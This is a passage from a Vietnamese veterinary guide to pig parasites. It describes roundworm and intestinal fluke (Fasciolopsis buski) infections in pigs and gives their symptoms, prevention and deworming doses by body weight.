+ Lợn chậm lớn, xù lông, gầy còm. Trong thời kỳ di hành của ấu trùng từ ruột lên phổi làm cho lợn viêm phổi và ho. Khi có nhiều giun dễ gây tắc ruột, tắc ống mật, thủng ruột.

+ Gan có nhiều điểm hoại tử màu vàng do ấu trùng giun di hành, ruột non có giun đũa

* Phòng và trị bệnh:

+ Tẩy giun sán định kỳ và vệ sinh chuồng trại sạch sẽ.

+ Trị: Dùng một trong số các thuốc sau: Nimisol 1gr cho 5kg thể trọng. Tayzu 1gr cho 10 kg thể trọng,. Trộn vào thức ăn, tốt nhất nên cho lợn ăn vào buổi sáng. Ngoài ra có thể dùng thêm các thuốc trị khác như: piperazin, levamizole

14. Bệnh sán lá ruột lợn.

Do một loài sán lá có tên Fasciolopsis buski ký sinh ở ruột non lợn gây lên

+ Triệu chứng: Kém ăn, lông xù, da khô, hay ỉa chảy.

+ Lợn nái ít sữa, niêm mạc nhợt nhạt, nuôi con kém

+ Trong ruột có sán lá, niêm mạc bị sán cắn xuất huyết nhiều điểm

* Phòng bệnh:

+ Không cho lợn ăn rau bèo nếu không rửa sạch

+ Thường xuyên dọn vệ sinh và  dùng các phương pháp xử lý phân.

* Điều trị:

+ Dùng trị giun sán liều 1ml/15kg thể trọng tiêm dưới da vùng cổ., 1 lần duy nhất

+ Dùng ivermectin liều 1ml/20 kg thể trọng dưới da vùng cổ để diệt sán trưởng thành

+ Hay dùng đặc trị giun sán 1g/5 kg thể trọng  trộn vào thức ăn cho lợn ăn vào buổi sáng lúc lợn đói.

0
Connecting
Please wait...
Send a message

Sorry, we aren't online at the moment. Leave a message.

Your name
* Email
* Describe your issue
Login now

Need more help? Save time by starting your support request online.

Your name
* Email
* Describe your issue
We're online!
Feedback

Help us help you better! Feel free to leave us any additional feedback.

How do you rate our support?